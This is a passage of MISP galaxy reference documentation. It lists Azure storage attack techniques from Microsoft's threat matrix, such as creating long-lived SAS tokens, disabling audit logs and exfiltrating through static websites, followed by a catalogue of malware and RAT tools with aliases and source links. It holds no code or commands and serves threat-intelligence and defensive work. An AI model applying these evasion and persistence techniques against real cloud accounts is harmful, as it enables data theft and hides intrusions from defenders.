MS-T813 - Firewall and virtual networks configuratioin changes

Attackers may disable firewall protection or set additional firewall rules to masquerade their access channel. Azure Storage offers a set of built-in network access features. Administrators can leverage these capabilities to restrict access to storage resources. Restriction rules can operate at the IP level or VNet IDs. When network rules are configured, only requests originated from authorized subnets will be served.

The tag is: *misp-galaxy:tmss="MS-T813 - Firewall and virtual networks configuratioin changes"*

Table 24259. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/firewall-configuration-changes

MS-T808 - Role-based access control permission

Storage services offer built-in RBAC roles that encompass sets of permissions used to access different data types. Definition of custom roles is also supported. Upon assignment of an RBAC role to an identity object (like Azure AD security principal) the storage provider grants access to that security principal. Attackers may leverage the RBAC mechanism to ensure persistent access to their owned identity objects.

The tag is: *misp-galaxy:tmss="MS-T808 - Role-based access control permission"*

Table 24260. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/rbac-permission

MS-T806 - Create SAS token

Attackers may create a high-privileged SAS token with long expiry to preserve valid credentials for a long period. The tokens are not monitored by storage accounts thus they cannot be revoked (except Service SAS) and it's not easy to determine whether there are valid tokens in the wild until they are used.

The tag is: *misp-galaxy:tmss="MS-T806 - Create SAS token"*

Table 24261. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/create-sas-token

MS-T807 - Container access level property

Attackers may adjust the container access level property at the granularity of a blob or container, to permit anonymous read access to data in the storage account. This configuration secures a channel to exfiltrate data even if the initial access technique is no longer valid.

The tag is: *misp-galaxy:tmss="MS-T807 - Container access level property"*

Table 24262. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/container-access-level-property

MS-T809 - SFTP account

Attackers may create an SFTP account to maintain access to a target storage account. The SFTP account is local on the storage instance and is not subject to Azure RBAC permissions. The account is also unaffected in case of storage account access keys rotation.

The tag is: *misp-galaxy:tmss="MS-T809 - SFTP account"*

Table 24263. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/sftp-account

MS-T830 - Trusted Azure services

Attackers may configure the storage account firewall to allow access by trusted Azure services. Azure Storage provides a predefined list of trusted services. Any resource from that list that belongs to the same subscription as the storage account is allowed by the firewall even if there is no firewall rule that explicitly permits the source address of the resource.

The tag is: *misp-galaxy:tmss="MS-T830 - Trusted Azure services"*

Table 24264. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/trusted-azure-services

MS-T829 - Trusted access based on a managed identity

Attackers may configure the storage account firewall to allow access by specific resource instances based on their system-assigned managed identity, regardless of their source address. The resource type can be chosen from a predefined list provided by Azure Storage, and the resource instance must be in the same tenant as the storage account. The RBAC permissions of the resource instance determine the types of operations that a resource instance can perform on storage account data.

The tag is: *misp-galaxy:tmss="MS-T829 - Trusted access based on a managed identity"*

Table 24265. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/trusted-access-managed-identity

MS-T812 - Private endpoint

Attackers may set private endpoints for a storage account to establish a separate communication channel from a target virtual network. The new endpoint is assigned with a private IP address within the virtual network's address range. All the requests sent to the private endpoint bypass the storage account firewall by design.

The tag is: *misp-galaxy:tmss="MS-T812 - Private endpoint"*

Table 24266. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/private-endpoint

MS-T841 - Storage data clone

Storage services offer different types of cloning or backup data stored on them. Attackers may abuse these built-in capabilities to steal sensitive documents, source code, credentials, and other business crucial information.

The tag is: *misp-galaxy:tmss="MS-T841 - Storage data clone"*

Table 24267. Table References

Links

https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/storage-data-clone

MS-T831 - Data transfer size limits

Attackers may fragment stolen information and exfiltrate it on different size chunks to avoid being detected by triggering potentially predefined transfer threshold alerts.

The tag is: *misp-galaxy:tmss="MS-T831 - Data transfer size limits"*

Table 24268. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/data-transfer-size-limits

MS-T832 - Automated exfiltration

Attackers may exploit legitimate automation processes, predefined by the compromised organization, with the goal of having their logging traces blend in normally within the company's typical activities. Assimilating or disguising malicious intentions will keep adversary actions, such as data theft, stealthier.

The tag is: *misp-galaxy:tmss="MS-T832 - Automated exfiltration"*

Table 24269. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/automated-exfiltration

MS-T810 - Disable audit logs

Attackers may disable storage account audit logs to prevent event tracking and avoid detection. Audit logs provide a detailed record of operations performed on a target storage account and may be used to detect malicious activities. Thus, disabling these logs can leave a resource vulnerable to attacks without being detected.

The tag is: *misp-galaxy:tmss="MS-T810 - Disable audit logs"*

Table 24270. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/disable-audit-logs

MS-T811 - Disable cloud workload protection

Attackers may disable the cloud workload protection service which raises security alerts upon detection of malicious activities in cloud storage services.

The tag is: *misp-galaxy:tmss="MS-T811 - Disable cloud workload protection"*

Table 24271. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/disable-protection-service

MS-T833 - Operations across geo replicas

Attackers may split their requests across geo replicas to reduce the footprint in each region and avoid being detected by various rules and heuristics.

The tag is: *misp-galaxy:tmss="MS-T833 - Operations across geo replicas"*

Table 24272. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/operations-across-geo-replicas

MS-T818 - Access key query

Attackers may leverage subscription/account-level access to gather storage account keys and use these keys to authenticate at the resource level. This technique exhibits cloud resource pivoting in combination with control management and data planes. Adversaries can query management APIs to fetch primary and secondary storage account keys.

The tag is: *misp-galaxy:tmss="MS-T818 - Access key query"*

Table 24273. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/access-key-query

MS-T834 - Cloud shell profiles

Cloud Shell is an interactive, authenticated, browser-accessible shell for managing cloud resources. It provides the flexibility of shell experience, either Bash or PowerShell. To support the Cloud Shell promise of being accessible from everywhere, Cloud Shell profiles and session history are saved on storage account. Attackers may leverage the legitimate use of Cloud Shell to impersonate account owners and potentially obtain additional secrets logged as part of session history.

The tag is: *misp-galaxy:tmss="MS-T834 - Cloud shell profiles"*

Table 24274. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/cloud-shell-profiles

MS-T819 - Unsecured communication channel

Attackers may sniff network traffic and capture credentials sent over an insecure protocol. When Storage account is configured to support unencrypted protocol such as HTTP, credentials are passed over the wire unprotected and are susceptible to leakage. The attacker can use the compromised credentials to gain initial access to the storage account.

The tag is: *misp-galaxy:tmss="MS-T819 - Unsecured communication channel"*

Table 24275. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/unsecured-communication-channel

MS-T820 - Storage service discovery

Attackers may leverage access permission to explore the stored objects in the storage account. Tools witnessed, at the reconnaissance phase, are oftentimes used toward this post-compromise information-gathering objective, now with authorization to access storage APIs, such as the List Blobs call.

The tag is: *misp-galaxy:tmss="MS-T820 - Storage service discovery"*

Table 24276. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/storage-service-discovery

MS-T835 - Account configuration discovery

Attackers may leverage control plane access permission to retrieve the storage account configuration. The configuration contains various technical details that may assist the attacker in implementing a variety of tactics. For example, firewall configuration provides network access information. Other parameters may reveal whether access operations are logged. The configuation may also contain the backup policy that may assist the attacker in performing data destruction.

The tag is: *misp-galaxy:tmss="MS-T835 - Account configuration discovery"*

Table 24277. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/account-configuration-discovery

MS-T821 - Malicious content upload

Attackers may use storage services to store a malicious program or toolset that will be executed at

later times during their operation. In addition, adversaries may exploit the trust between users and their organization's Storage services by storing phishing content. Furthermore, storage services can be leveraged to park gathered intelligence that will be exfiltrated when terms suit the actor group.

The tag is: *misp-galaxy:tmss="MS-T821 - Malicious content upload"*

Table 24278. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/malicious-content-upload

MS-T822 - Malware distribution

Storage services offer different types of mechanisms to support auto-synchronization between various resources and the storage account. Attackers may leverage access to the storage account to upload malware and benefit from the auto-sync built-in capabilities to have their payload being populated and potentially weaponize multiple systems.

The tag is: *misp-galaxy:tmss="MS-T822 - Malware distribution"*

Table 24279. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/malware-distribution

MS-T823 - Trigger cross-service interaction

Attackers may manipulate storage services to trigger a compute service, like Azure Functions, where an attacker already has a foothold on a storage container and can inject a blob that will initiate a chain of a compute process. This may allow an attacker to infiltrate another resource and cause harm.

The tag is: *misp-galaxy:tmss="MS-T823 - Trigger cross-service interaction"*

Table 24280. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/trigger-cross-service-interaction

MS-T824 - Code injection

Same is applicable for data blobs or files which may be eventually processed on a host by a legitimate application with software vulnerabilities. Attackers may tamper benign data with a payload that exploits a vulnerability on a user's end and execute a malicious code.

The tag is: *misp-galaxy:tmss="MS-T824 - Code injection"*

Table 24281. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/code-injection

MS-T836 - Static website

Attackers may use the "static website" feature to exfiltrate collected data outside of the storage account. Static website is a cloud storage provider hosting capability that enables serving static web content directly from the storage account. The website can be reached via an alternative web endpoint which might be overlooked when restricting access to the storage account.

The tag is: *misp-galaxy:tmss="MS-T836 - Static website"*

Table 24282. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/static-website

MS-T839 - Data corruption

Attackers may corrupt or delete data stored on storage services to disrupt the availability of systems or other lines of business.

The tag is: *misp-galaxy:tmss="MS-T839 - Data corruption"*

Table 24283. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/data-corruption

MS-T838 - Data encryption for impact (Ransomware)

Attackers may encrypt data stored on storage services to disrupt the availability of systems or other lines of business. Making resources inaccessible by encrypting files or blobs and withholding access to a decryption key. This may be done to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware).

The tag is: *misp-galaxy:tmss="MS-T838 - Data encryption for impact (Ransomware)"*

Table 24284. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/data-encryption-for-impact

MS-T837 - Data manipulation

Attackers may insert or modify data in order to influence external outcomes, thus threatening the

integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary.

The tag is: *misp-galaxy:tmss="MS-T837 - Data manipulation"*

Table 24285. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/data-manipulation

Tool

threat-actor-tools is an enumeration of tools used by adversaries. The list includes malware but also common software regularly used by the adversaries..

Tool is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Alexandre Dulaunoy - Florian Roth - Timo Steffens - Christophe Vandeplas - Dennis Rand - raw-data

Tinba

Banking Malware

The tag is: *misp-galaxy:tool="Tinba"*

Tinba is also known as:

- Hunter
- Zusy
- TinyBanker

View relationships graph

Tinba has relationships with:

- similar: misp-galaxy:exploit-kit="Hunter" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Tinba" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Tinba" with estimative-language:likelihood-probability="likely"

Table 24286. Table References

Links
https://thehackernews.com/search/label/Zusy%20Malware
http://blog.trendmicro.com/trendlabs-security-intelligence/the-tinbatinybanker-malware/

PlugX

Malware

The tag is: *misp-galaxy:tool="PlugX"*

PlugX is also known as:

- Backdoor.FSZO-5117
- Trojan.Heur.JP.juW@ayZZvMb
- Trojan.Inject1.6386
- Korplug
- Agent.dhwf

View relationships graph

PlugX has relationships with:

- similar: misp-galaxy:rat="PlugX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"

Table 24287. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/112/pulling-the-plug-on-plugx

MSUpdater

```
Trojan (RAT) linked to current targeted attacks and others dating back to at least
early 2009
```

The tag is: *misp-galaxy:tool="MSUpdater"*

Table 24288. Table References

Links
https://www.zscaler.com/pdf/whitepapers/msupdater_trojan_whitepaper.pdfx

Lazagne

A password sthealing tool regularly used by attackers

The tag is: *misp-galaxy:tool="Lazagne"*

View relationships graph

Lazagne has relationships with:

- similar: misp-galaxy:malpedia="LaZagne" with estimative-language:likelihood-probability="almost-certain"

Table 24289. Table References

Links
https://github.com/AlessandroZ/LaZagne

Poison Ivy

Poison Ivy is a RAT which was freely available and first released in 2005.

The tag is: *misp-galaxy:tool="Poison Ivy"*

Poison Ivy is also known as:

- Backdoor.Win32.PoisonIvy
- Gen:Trojan.Heur.PT

View relationships graph

Poison Ivy has relationships with:

- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"

Table 24290. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf
https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml

SPIVY

In March 2016, Unit 42 observed this new Poison Ivy variant we've named SPIVY being deployed via weaponized documents leveraging CVE-2015-2545.

The tag is: *misp-galaxy:tool="SPIVY"*

Table 24291. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/04/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/

Torn RAT

The tag is: *misp-galaxy:tool="Torn RAT"*

Torn RAT is also known as:

- Anchor Panda

View relationships graph

Torn RAT has relationships with:

- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"

Table 24292. Table References

Links
https://www.crowdstrike.com/blog/whois-anchor-panda/

OzoneRAT

The tag is: *misp-galaxy:tool="OzoneRAT"*

OzoneRAT is also known as:

- Ozone RAT
- ozonercp

Table 24293. Table References

Links
https://blog.fortinet.com/2016/08/29/german-speakers-targeted-by-spam-leading-to-ozone-rat

ZeGhost

ZeGhots is a RAT which was freely available and first released in 2014.

The tag is: *misp-galaxy:tool="ZeGhost"*

ZeGhost is also known as:

- BackDoor-FBZT!52D84425CDF2
- Trojan.Win32.Staser.ytq
- Win32/Zegost.BW

Table 24294. Table References

Links
https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Backdoor%3aWin32%2fZegost.BW

Elise Backdoor

Trojan (RAT) linked to current targeted attacks and others dating back to at least early 2009

The tag is: *misp-galaxy:tool="Elise Backdoor"*

Elise Backdoor is also known as:

- Elise

View relationships graph

Elise Backdoor has relationships with:

- similar: misp-galaxy:mitre-malware="Elise - S0081" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Elise" with estimative-language:likelihood-probability="likely"

Table 24295. Table References

Links
http://thehackernews.com/2015/08/elise-malware-hacking.html

Trojan.Laziok

A new information stealer, Trojan.Laziok, acts as a reconnaissance tool allowing attackers to gather information and tailor their attack methods for each compromised computer.

The tag is: *misp-galaxy:tool="Trojan.Laziok"*

Trojan.Laziok is also known as:

- Laziok

View relationships graph

Trojan.Laziok has relationships with:

- similar: misp-galaxy:malpedia="Laziok" with estimative-language:likelihood-probability="likely"

Table 24296. Table References

Links
http://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector

Slempo

Android-based malware

The tag is: *misp-galaxy:tool="Slempo"*

Slempo is also known as:

- GM-Bot
- SlemBunk
- Bankosy
- Acecard

View relationships graph

Slempo has relationships with:

- similar: misp-galaxy:android="GM Bot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Bankosy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"

Table 24297. Table References

Links
https://securityintelligence.com/android-malware-about-to-get-worse-gm-bot-source-code-leaked/

PWOBot

We have discovered a malware family named ‘PWOBot’ that is fairly unique because it is written entirely in Python, and compiled via PyInstaller to generate a Microsoft Windows executable. The malware has been witnessed affecting a number of Europe-based organizations, particularly in

Poland. Additionally, the malware is delivered via a popular Polish file-sharing web service.

The tag is: *misp-galaxy:tool="PWOBot"*

PWOBot is also known as:

- PWOLauncher
- PWOHTTPD
- PWOKeyLogger
- PWOMiner
- PWOPyExec
- PWOQuery

Table 24298. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/04/unit42-python-based-pwobot-targets-european-organizations/

Lost Door RAT

We recently came across a cyber attack that used a remote access Trojan (RAT) called Lost Door, a tool currently offered on social media sites. What also struck us the most about this RAT (detected as BKDR_LODORAT.A) is how it abuses the Port Forward feature in routers.

The tag is: *misp-galaxy:tool="Lost Door RAT"*

Lost Door RAT is also known as:

- LostDoor RAT
- BKDR_LODORAT

Table 24299. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/lost-door-rat-accessible-customizable-attack-tool/

njRAT

The tag is: *misp-galaxy:tool="njRAT"*

njRAT is also known as:

- Bladabindi
- Jorik

View relationships graph

njRAT has relationships with:

- similar: misp-galaxy:malpedia="NjRAT" with estimative-language:likelihood-probability="likely"

Table 24300. Table References

Links
http://www.fidelissecurity.com/files/files/FTA_1009-njRAT_Uncovered_rev2.pdf
https://github.com/kevthehermit/RATDecoders/blob/master/yaraRules/njRat.yar

NanoCoreRAT

The tag is: *misp-galaxy:tool="NanoCoreRAT"*

NanoCoreRAT is also known as:

- NanoCore
- Nancrat
- Zurten
- Atros2.CKPN

View relationships graph

NanoCoreRAT has relationships with:

- similar: misp-galaxy:rat="NanoCore" with estimative-language:likelihood-probability="likely"

Table 24301. Table References

Links
http://www.symantec.com/connect/blogs/nanocore-another-rat-tries-make-it-out-gutter
https://nanocore.io/

Sakula

The tag is: *misp-galaxy:tool="Sakula"*

Sakula is also known as:

- Sakurel

View relationships graph

Sakula has relationships with:

- similar: misp-galaxy:rat="Sakula" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:mitre-malware="Sakula - S0074" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"

Table 24302. Table References

Links
https://www.secureworks.com/research/sakula-malware-family

Hi-ZOR

The tag is: *misp-galaxy:tool="Hi-ZOR"*

Table 24303. Table References

Links
http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html

Derusbi

The tag is: *misp-galaxy:tool="Derusbi"*

Derusbi is also known as:

- TROJ_DLLSERV.BE

View relationships graph

Derusbi has relationships with:

- similar: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Derusbi (Windows)" with estimative-language:likelihood-probability="likely"

Table 24304. Table References

Links
http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf
https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf

EvilGrab

The tag is: *misp-galaxy:tool="EvilGrab"*

EvilGrab is also known as:

- BKDR_HGDER
- BKDR_EVILOGE
- BKDR_NVICM
- Wmonder

View relationships graph

EvilGrab has relationships with:

- similar: misp-galaxy:mitre-malware="EvilGrab - S0152" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="EvilGrab" with estimative-language:likelihood-probability="likely"

Table 24305. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/evilgrab-malware-family-used-in-targeted-attacks-in-asia/
http://researchcenter.paloaltonetworks.com/2015/06/evilgrab-delivered-by-watering-hole-attack-on-president-of-myanmars-website/

Trojan.Naid

The tag is: *misp-galaxy:tool="Trojan.Naid"*

Trojan.Naid is also known as:

- Naid
- Mdmbot.E
- AGENT.GUNZ
- AGENT.AQUP.DROPPER
- AGENT.BMZA
- MCRAT.A
- AGENT.ABQMR

View relationships graph

Trojan.Naid has relationships with:

- similar: misp-galaxy:mitre-malware="Naid - S0205" with estimative-language:likelihood-probability="likely"

Table 24306. Table References

Links

https://www.symantec.com/connect/blogs/cve-2012-1875-exploited-wild-part-1-trojannaid
http://telussecuritylabs.com/threats/show/TSL20120614-05

Moudoor

Backdoor.Moudoor, a customized version of Gh0st RAT

The tag is: *misp-galaxy:tool="Moudoor"*

Moudoor is also known as:

- SCAR
- KillProc.14145

Table 24307. Table References

Links
http://www.darkreading.com/attacks-breaches/elite-chinese-cyberspy-group-behind-bit9-hack/d/d-id/1140495
https://securityledger.com/2013/09/apt-for-hire-symantec-outs-hidden-lynx-hacking-crew/

NetTraveler

APT that infected hundreds of high profile victims in more than 40 countries. Known targets of NetTraveler include Tibetan/Uyghur activists, oil industry companies, scientific research centers and institutes, universities, private companies, governments and governmental institutions, embassies and military contractors.

The tag is: *misp-galaxy:tool="NetTraveler"*

NetTraveler is also known as:

- TravNet
- Netfile

View relationships graph

NetTraveler has relationships with:

- similar: misp-galaxy:mitre-malware="NetTraveler - S0033" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="NetTraveler" with estimative-language:likelihood-probability="likely"

Table 24308. Table References

Links

https://securelist.com/blog/incidents/57455/nettraveler-is-back-the-red-star-apt-returns-with-new-tricks/

Winnti

APT used As part of Operation SMN, Novetta analyzed recent versions of the Winnti malware. The samples, compiled from mid- to late 2014, exhibited minimal functional changes over the previous generations Kaspersky reported in 2013.

The tag is: *misp-galaxy:tool="Winnti"*

Winnti is also known as:

- Etso
- SUQ
- Agent.ALQHI
- RbDoor
- RibDoor
- HIGHNOON

View relationships graph

Winnti has relationships with:

- similar: misp-galaxy:mitre-malware="Winnti for Windows - S0141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Winnti (Windows)" with estimative-language:likelihood-probability="likely"

Table 24309. Table References

Links
https://securelist.com/blog/incidents/57455/nettraveler-is-back-the-red-star-apt-returns-with-new-tricks/
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf

Mimikatz

Ease Credential stealh and replay, A little tool to play with Windows security.

The tag is: *misp-galaxy:tool="Mimikatz"*

Mimikatz is also known as:

- Mikatz

View relationships graph

Mimikatz has relationships with:

- similar: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="MimiKatz" with estimative-language:likelihood-probability="almost-certain"

Table 24310. Table References

Links
https://github.com/gentilkiwi/mimikatz
https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

WEBC2

Backdoor attribued to APT1

The tag is: *misp-galaxy:tool="WEBC2"*

View relationships graph

WEBC2 has relationships with:

- similar: misp-galaxy:mitre-malware="WEBC2 - S0109" with estimative-language:likelihood-probability="likely"

Table 24311. Table References

Links
https://github.com/gnaegle/cse4990-practical3
https://www.securestate.com/blog/2013/02/20/apt-if-it-aint-broke

Pirpi

Symantec has observed Buckeye activity dating back to 2009, involving attacks on various organizations in several regions. Buckeye used a remote access Trojan (Backdoor.Pirpi) in attacks against a US organization's network in 2009. The group delivered Backdoor.Pirpi through malicious attachments or links in convincing spear-phishing emails.

The tag is: *misp-galaxy:tool="Pirpi"*

Pirpi is also known as:

- Badey
- EXL

View relationships graph

Pirpi has relationships with:

- similar: misp-galaxy:mitre-malware="SHOTPUT - S0063" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="pirpi" with estimative-language:likelihood-probability="almost-certain"

Table 24312. Table References

Links
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

RARSTONE

RARSTONE is a Remote Access Tool (RAT) discovered early 2013 by TrendMicro, it's characterized by a great affinity with the other RAT know as Plug is and was used in April for phishing campaigns that followed the dramatic attack to the Boston Marathon.

The tag is: *misp-galaxy:tool="RARSTONE"*

View relationships graph

RARSTONE has relationships with:

- similar: misp-galaxy:mitre-malware="RARSTONE - S0055" with estimative-language:likelihood-probability="likely"

Table 24313. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/

Backspace

Backspace is a Backdoor that targets the Windows platform. This malware is reportedly associated with targeted attacks against Association of Southeast Asian Nations (ASEAN) members (APT30).

The tag is: *misp-galaxy:tool="Backspace"*

Backspace is also known as:

- Lecna

View relationships graph

Backspace has relationships with:

- similar: misp-galaxy:mitre-malware="BACKSPACE - S0031" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="backspace" with estimative-language:likelihood-probability="almost-certain"

Table 24314. Table References

Links
https://www2.fireeye.com/WEB-2015RPTAPT30.html
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf

XSControl

Backdoor user by he Naikon APT group

The tag is: *misp-galaxy:tool="XSControl"*

Table 24315. Table References

Links
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://kasperskycontenthub.com/securelist/files/2015/05/TheNaikonAPT-MsnMM.pdf

Neteagle

NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as Scout and Norton.

The tag is: *misp-galaxy:tool="Neteagle"*

Neteagle is also known as:

- scout
- norton

View relationships graph

Neteagle has relationships with:

- similar: misp-galaxy:malpedia="NETEAGLE" with estimative-language:likelihood-probability="almost-certain"

Table 24316. Table References

Links

https://attack.mitre.org/wiki/Software/S0034
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Agent.BTZ

In November 2014, the experts of the G DATA SecurityLabs published an article about ComRAT, the Agent.BTZ successor. We explained that this case is linked to the Uroburos rootkit.

The tag is: *misp-galaxy:tool="Agent.BTZ"*

Agent.BTZ is also known as:

- ComRat

View relationships graph

Agent.BTZ has relationships with:

- similar: misp-galaxy:rat="ComRAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="ComRAT - S0126" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"

Table 24317. Table References

Links
https://blog.gdatasoftware.com/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat

Heseber BOT

RAT bundle with standard VNC (to avoid/limit A/V detection).

The tag is: *misp-galaxy:tool="Heseber BOT"*

Agent.dne

The tag is: *misp-galaxy:tool="Agent.dne"*

Wipbot

Waterbug is the name given to the actors who use the malware tools Trojan.Wipbot (also known as Tavdig and Epic Turla)

The tag is: *misp-galaxy:tool="Wipbot"*

Wipbot is also known as:

- Tavdig
- Epic Turla
- WorldCupSec
- TadjMakhal

View relationships graph

Wipbot has relationships with:

- similar: misp-galaxy:mitre-malware="Epic - S0091" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Wipbot" with estimative-language:likelihood-probability="likely"

Table 24318. Table References

Links
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf

Turla

Family of related sophisticated backdoor software - Name comes from Microsoft detection signature – anagram of Ultra (Ultra3) was a name of the fake driver). A macOS version exists but appears incomplete and lacking features...for now!

The tag is: *misp-galaxy:tool="Turla"*

Turla is also known as:

- Snake
- Uroburos
- Urouros

View relationships graph

Turla has relationships with:

- similar: misp-galaxy:mitre-malware="Uroburos - S0022" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Uroburos (Windows)" with estimative-language:likelihood-probability="likely"

Table 24319. Table References

Links
https://www.first.org/resources/papers/tbilisi2014/turla-operations_and_development.pdf
https://objective-see.com/blog/blog_0x25.html#Snake

Winexe

The tag is: *misp-galaxy:tool="Winexe"*

View relationships graph

Winexe has relationships with:

- similar: misp-galaxy:mitre-tool="Winexe - S0191" with estimative-language:likelihood-probability="likely"

Dark Comet

RAT initialy identified in 2011 and still actively used.

The tag is: *misp-galaxy:tool="Dark Comet"*

View relationships graph

Dark Comet has relationships with:

- similar: misp-galaxy:rat="DarkComet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DarkComet" with estimative-language:likelihood-probability="likely"

Cadelspy

The tag is: *misp-galaxy:tool="Cadelspy"*

Cadelspy is also known as:

- WinSpy

View relationships graph

Cadelspy has relationships with:

- similar: misp-galaxy:malpedia="CadelSpy" with estimative-language:likelihood-probability="almost-certain"

CMStar

The tag is: *misp-galaxy:tool="CMStar"*

View relationships graph

CMStar has relationships with:

- similar: misp-galaxy:malpedia="CMSTAR" with estimative-language:likelihood-probability="almost-certain"

Table 24320. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/

DHS2015

The tag is: *misp-galaxy:tool="DHS2015"*

DHS2015 is also known as:

- iRAT

Table 24321. Table References

Links
https://securelist.com/files/2015/02/The-Desert-Falcons-targeted-attacks.pdf

Gh0st Rat

Gh0st Rat is a well-known Chinese remote access trojan which was originally made by C.Rufus Security Team several years ago. GH0ST is a backdoor written in C++ that communicates via a custom binary protocol over TCP or UDP. It typically features a packet signature at the start of each message that varies between samples. Availability: Public

The tag is: *misp-galaxy:tool="Gh0st Rat"*

Gh0st Rat is also known as:

- Gh0stRat, GhostRat

View relationships graph

Gh0st Rat has relationships with:

- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24322. Table References

Links
